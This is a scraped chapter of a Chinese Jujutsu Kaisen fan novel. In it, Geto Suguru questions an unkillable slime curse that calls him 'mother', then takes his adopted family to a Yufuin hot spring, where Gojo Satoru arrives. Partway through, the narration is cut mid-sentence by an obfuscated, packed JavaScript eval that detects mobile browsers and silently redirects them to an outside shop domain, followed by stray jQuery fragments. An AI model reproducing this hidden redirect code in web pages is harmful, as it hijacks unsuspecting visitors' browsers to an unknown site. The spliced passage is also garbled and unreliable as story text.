文趣网 > 都市小说 > 拯救五夏马甲系统 > 15.已婚已育家主悟x夫人杰
    夏油杰看着黏在自己手上仿佛涂了502胶水怎么甩也甩不掉的史莱姆咒灵,脸色黑沉。

    区区二级咒灵,他随手就能碾死的小玩意——事实也是如此——因为不死不灭的特性,给夏油杰都杀累了,最后一次也就是上一次直接都给“烧”成灰了,然后在夏油杰不信邪的注视下,堂堂复活。

    史莱姆形状巴掌大的小咒灵质感Q弹,复活后还duangduang弹了两下,要不是颜色太恶心了,真能萌倒人也不说定。

    夏油杰喘息一窒,看着手里一边蹭着自己一边喊着“妈妈”的五彩斑斓的鼻涕似的粘稠物体,露出嫌弃的表情。

    倒不是因为被咒灵喊妈妈了。实际上,夏油杰并非第一次被咒灵叫妈——众所周知,咒灵是从普通人的负面情绪里诞生的,夏油杰收服的几只与婴儿、小孩相关的咒灵,就会喊他妈妈,不过那是因为这些咒灵只会说妈妈,对谁都这么喊。

    眼下这只史莱姆咒灵却不同,它是会说其它话的,纯故意喊夏油杰妈。

    夏油杰无法理解。首先,他是个大男人,其次,他不认为自己身上有女性特质,最后,再说一遍,他是男·人。

    被没有智商只会说妈妈的咒灵喊妈就算了......再加一个平行时空来的那个世界的他亲生(咬牙切齿)的崽子......

    但这只莫名其妙的咒灵是怎么回事?

    夏油杰磨了磨牙,有些想笑。

    嗯,气笑的。

    “我知道你会说话,有一定智商。”夏油杰用左手将贴在右手手心里的史莱姆‘撕’下来,似笑非笑道:“为什么叫我妈妈?回答我,别装,装我就吃了你。”

    其实对夏油杰来说最简单粗暴的做法就是直接吃掉咒灵,收服了咒灵后,咒灵的记忆、能力、术式都会被他提取。

    只是这样一来,咒灵就没有上升空间了,强度会被永远钉死在夏油杰吸收它的那一刻。

    史莱姆咒灵不死不灭的特性太罕见了,夏油杰很稀罕,觉得可以勉强给这小东西发育的机会,当然,前提是知道小东西的能力还能再进化。

    史莱姆咒灵身体一僵,由于它完全就是没有骨头的一摊软组织,是以它这反应真的挺明显的,两颗黑豆子般的小眼睛挤出两滴泪珠。

    “随...主人叫的...主人叫您...妈妈...”

    很好,又冒出来一个。

    夏油杰唇角扬起,却不是笑的,而是面露狰狞。

    “你有主?我怎么没感应到你身上有契约?说谎骗我的话,我就把你切成三千块,再放进硫酸里。”

    史莱姆咒灵被夏油杰话里的血腥残暴吓到了,身体一duang一duang的颤抖,泪喷了出来。

    “不要切我...不要硫酸...我没有说谎,我也不知道主人为什么放生我...我确实是有主人的...呜呜,主人救我...”

    小东西还挺怂。不过怂好啊,夏油杰最喜欢软骨头了——仅限于非自己人。自己人还是要骨头硬点好。

    “你主人是谁?”

    史莱姆咒灵抽泣的哽咽道:“青、青月,五条青月。”说完,史莱姆眼里浮上智慧的光芒,意识到是不是自己喊错了才惹怒了夏油杰,犹犹豫豫战战兢兢的试探道:

    “婆婆...?爷爷...?”

    显然,夏油杰的身份和性别给史莱姆造成了认知紊乱,史莱姆咒灵那比核桃仁大不了多少的脑子很快就死机了,两颗豆子眼弯成蚊烟香,头顶生烟,最后竟是自己给自己烧脑烧晕了。

    看着啪叽一声从一坨变成一滩的咒灵,夏油杰一言难尽。

    青月的咒灵?是了,青月的确说过他还继承到了他的咒灵操术,只是好像有点问题,不能像他一样收服咒灵——那这只小东西是怎么回事?青月骗他?骗他的作用是?没理由啊。

    实在想不通。

    夏油杰头疼地用大拇指揉了揉眉心,不知道要不要去找便宜崽子一趟。就事论事的话,想去。然考虑到崽子的身份和对他的态度,夏油杰就不想了。

    唉......闹心。

    最后,逃避心理占了上风。

    夏油杰是这样的,他从来没变过,一如学生时期的遇到解决不了的事就逃,遇到无法面对的人就躲。

    五条悟经历过的事,同样的情况也落到了五条青月身上。正所谓一脉传承——五条青月怎么不像五条悟,全身上下除了脸不像,配色、性格、习惯、乃至同一个人对他们的做法都一模一样。

    ***

    鉴于史莱姆咒灵有可能是崽子的,夏油杰没有将其收服,而是收了起来,等有机会再跟五条青月确认。

    你问什么时候算有机会?那就得看夏油杰什么时候不“闹别扭”了。

    “唰!”

    障子门被人从外面拉开,枷场姐妹一前一后走了进来。

    金发的姐姐将手机凑到夏油杰眼前,“夏油大人,我们去泡温泉吧!我已经看好了,就这家,由布院温泉!”

    黑发的妹妹虽然没说话,但在一旁露出了期待的表情。

    夏油杰眼神柔和下来,他向来拒绝不了养女们,这次也一样,不过该说的还是要说。

    “你们快要开学了吧,学校布置的作业都完成了吗?”

    菜菜子眼神错开了两秒,“当、当然完成了!”

    比起姐姐的心虚,美美子是真的写完了,所以她表现的很平静,“写完了。不用担心,夏油大人,菜菜子的作业我会盯着她完成的,不会让猴子打电话打搅你。”

    菜菜子噘嘴:“美美子!”干嘛掀她的底!

    美美子无奈脸:“你以为夏油大人看不出来吗,我都看出你的心虚了。”

    菜菜子埋头嘀咕了两声,随后扑进夏油杰的怀里,撒娇道:“这个冬天我们都在忙,好不容易闲下来,就放松一次嘛!一直紧绷着也对身体不好,夏油大人有多久没好好休息了?黑眼圈都快掉到脸颊了。”

    哪有那么夸张,虽然他眼底确实有青黑了。不过,既然孩子们想玩,那就玩吧,顺便也叫上真奈美他们一起,大家这段时间确实辛苦了,放一次假也好。

    ...

    ...

    2018年1月2日,细雪纷扬。

    由不岳山脊被雪抹去棱角,轮廓柔和的浮在灰白的天空下。金鳞湖湖面蒸腾着薄薄的热气,雪花落进去便消融了。町屋的黑色瓦檐堆了一层厚厚的雪,偶有雪块从枝头滑落,发出簌簌的一声闷响

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790008|210071||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    车停在旅馆门前的空地上,夏油杰等人从车上下来,确认东西都拿齐了,锁好车,推开旅馆前院木门走了进去。

    玄关旁的木几上放着仿古的泥壶,里面斜插着一束叫不出名字的白花,散发着沁人心脾的幽香。

    暖色灯光从头顶洒下,将前厅衬托得暖呼呼的。

    不住宿,只泡汤的话直接去前台,柜台后会有工作人员递来一块小牌子,上面写着日归入浴和金额,付了钱接过毛巾和浴衣的袋子,顺着走廊往深处走,就是大大小小或露天或分男女或单独隔间的温泉池了。

    夏油杰因为要住宿,提前在官网登记了信息预订。这会跟前台工作人员对接身份,确认信息无误后交钱拿钥匙,总共四把,夏油杰分别递给家人们。

    双胞胎一间,真奈美一间,拉鲁和米格尔一间,他自己一间......

    夏油杰:“你们先去房间把东西放好,然后我们门口集合。”

    “好的!”菜菜子迫不及待地拉着美美子找房间去了。

    真奈美手指卷着胸前的一缕秀发,笑眯眯道:“感谢夏油大人大发善心,那我也去房间放行李了~”说完,拎着大包小包走了。

    等人稍微走远一点,米格尔才小声道:“我们只是住两晚没错吧,真奈美拿那么多东西,不知道的还以为要住十天半个月。”

    拉鲁善解人意的解释道:“女孩子要敷面膜、养肤,有些保养品和温泉一起使用效果更好,零零散散的加起来自然就多了。”

    米格尔咂舌,小声说了句真可怕。

    难得脱下袈裟,换上私服的夏油杰今天一身休闲装,外面套了件长款羽绒服,得亏他个子高,把衣服撑起来了,宛如行走的衣架子,不然穿这种衣服简直是灾难,跟企鹅似的。

    “好了,都快回房间放东西吧,别人女士们等久了。”夏油杰说着转身晃着手里的钥匙悠闲地走了。

    人都走完了,米格尔和拉鲁自然也赶紧去自己的房间放东西。

    虽然他们不觉得三个女生动作能有多快,大概率就算是走的最早的,也是最晚来的......不过以防万一,还是动作快点。毕竟他们可以久等,让女生们久等那就是罪过了。

    镜头回到温泉屋前专门供客人们停车的空地。

    一辆suv一个潇洒的后摆尾,精准插进两辆车中间,看得人不禁冒出一身冷汗。

    停稳后,主驾驶的车门先打开,一双大长腿迈了下来,黑色库管裹着修长的线条,脚踝骨节从鞋口露出来,肤色和脚下的雪面相比竟是不逊色的白。

    五条悟从车里弯身下来,站直后比车门还高出一头。上半身穿着黑色的高领毛衣,料子不像是很厚的那种,贴在身上格外显单薄,尤其是旁的人都穿得厚厚的不说,或缩着脖子或戴着围巾,呼出的气立马在空气里液化成白雾。

    五条悟却没有,无下限把寒气隔在半寸之外,像一层看不见得薄膜——跟温室大棚一个原理x

    他抬了抬架在鼻梁上的镜框,露出一半后面如天空延展的空灵蓝瞳。

    这时,车的副驾驶和后座车门纷纷打开,除了副驾驶座的人看起来挺正常的,一副习以如常的淡定模样,后座的人下车后皆是一脸菜色。